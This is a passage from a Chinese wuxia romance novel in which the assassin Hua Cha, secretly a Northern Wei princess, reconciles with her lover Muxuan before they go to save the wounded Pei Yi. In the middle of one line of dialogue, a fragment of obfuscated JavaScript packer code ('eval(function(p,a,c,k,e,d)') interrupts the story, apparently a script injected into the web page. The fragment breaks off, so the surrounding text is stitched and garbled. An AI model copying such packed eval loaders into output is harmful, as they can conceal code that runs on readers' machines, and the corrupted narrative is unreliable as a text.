沐玄,原来你并没有那么勇敢,或者说,你并没有我想的那么爱我。 花姹心中失落,她拿起枕侧长剑,准备离开,却忽然被破窗而入的一人拥在怀里。 出于一名杀手的本能,花姹在回眸的同时,手中流光剑遽然出鞘,阮文卓抱着她一个旋身,轻而易举地避开了锋利的剑刃,他声音沙哑,轻唤,“阿姹,是我。” 花姹一怔,“沐玄?” 她亮晶晶的眸中闪着喜悦的光,却还明知故问,“你怎么来了?我们不是已经分开了吗?” 阮文卓将她紧紧揽入怀中,又气又急,“谁说我们分开了,我不同意!” 花姹也不知他哪来的这么大酒气,一面推他,一面说道,“你说了不算,我说了才算。” 阮文卓不肯撒手,“阿姹,旁的事我都依你,唯独这件事,我要你听我的,算我,求你。” 花姹第一次听见“求”这个字眼从他口中说出来,她有些不敢相信,“你,说什么?” 阮文卓低下了头,他将所有的傲气敛在一处,双手捧着奉予她,“阿姹,我说,我求你不要离开我。” 花姹蓦地红了眼睛,她攥起拳头打在他的身上,哽咽道,“你怎么不早来!你知不知道,你再晚来一步,我就真的走了!你这辈子就再也看不见我了!” 阮文卓先是一怔,继而又是一喜,他捉住她不安分的小手,与她十指相扣,扬眉笑道,“原来你一直在等我。” 花姹坦荡承认,“是又如何,我就是想看看你到底有多爱我,还好你没有让我失望。”她仰起脸,“这可是你自己说的,除了这件事,旁的都依我,你可不许反悔呀。” 阮文卓垂眸一吻,认真地说,“沐玄此生无悔。” 花姹见惯了他手持寒剑,逞凶斗狠的模样,如今见他如此,倒有些不大习惯,她抬手拍了拍他的背,“行了行了,用不着这么正式,你记住你说的话就行。” “阿姹,我知道你为什么要离开我。” 花姹心头一紧,还以为他知晓了自己北魏皇女的身份,她的手不自觉搭在了流光剑上,却被他一把拉住,放在了他的心口处。 阮文卓认真地说,“阿姹,你愿不愿意相信,爱可以跨越山海,跨越生死,跨越世间的一切。” 花姹点点头,“我相信。” “那你为什么不愿意相信,爱也可以跨越大梁和北魏呢?” 花姹沉默了一下,良久方道,“如果可以,我愿意相信。”她抬起手,摩挲着他的脸庞,“沐玄,我只希望,若有一日两军对垒,刺向我的那一剑不是出自你的手中。” 阮文卓皱眉,“阿姹,你怎么会这么想?我虽为世家之子,但从来不涉朝堂,纵意山野是我一生所求,而你不过是北魏十步门中的一名剑客,且不要说两国关系还没有这么糟糕,即便有一天,大梁和北魏真的打了起来,又同你我有何干系?” 花姹不愿多说,只是笑笑,“你说得对,这同我们有何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是不是,我是想要找你的,只是我吃多了酒,迷迷糊糊地在池子里睡过去了,直到看见如玉他们两个情深意笃的模样,我才意识到我不能失去你。” 花姹从他的话中听到了一个重要信息,“如玉?她和谁?” “和……”阮文卓想了想,还是说,“和裴义。” “他们两个怎么了?” “裴义现在昏迷不醒,我瞧着似是迷香挑起了他的心魔,再加上旧伤沉重,中毒日深,眼下情况很是危险,我也没有更好的办法,就想着找你撞撞运气。” 果然是他们两个,花姹暗暗叹了口气,罢了,便是门主之命,她也是要救的。 思索间,她已经用内力隔空推开了门,阮文卓有些着急,抬步跟在她的身后,“阿姹,你是不是生气了,你听我解释啊,我来找你真的是因为我放不下你,并不是……” 花姹听得不耐烦,开口打断了他,“沐玄,你有完没完,一个大男人,怎么比我还啰嗦。” 她扫了一眼他衣衫半褪的模样,嘴角不自觉微微上扬,这个男人,生得可真好看呀…… 阮文卓被她看得不自在,花姹也有些不好意思,她别开脸,“你,你还不快把衣裳穿好,我们赶紧去救人。” 阮文卓见她应了,心头一喜,连忙正好衣襟,垂首系衣裳带子的时候,他突然反应过来。 不对啊,我这衣裳不是你扒下来的吗,怎么你还…… 他抬眼间,却见花姹已经落了他一大截,他快步追了上去,“阿姹,等等我!”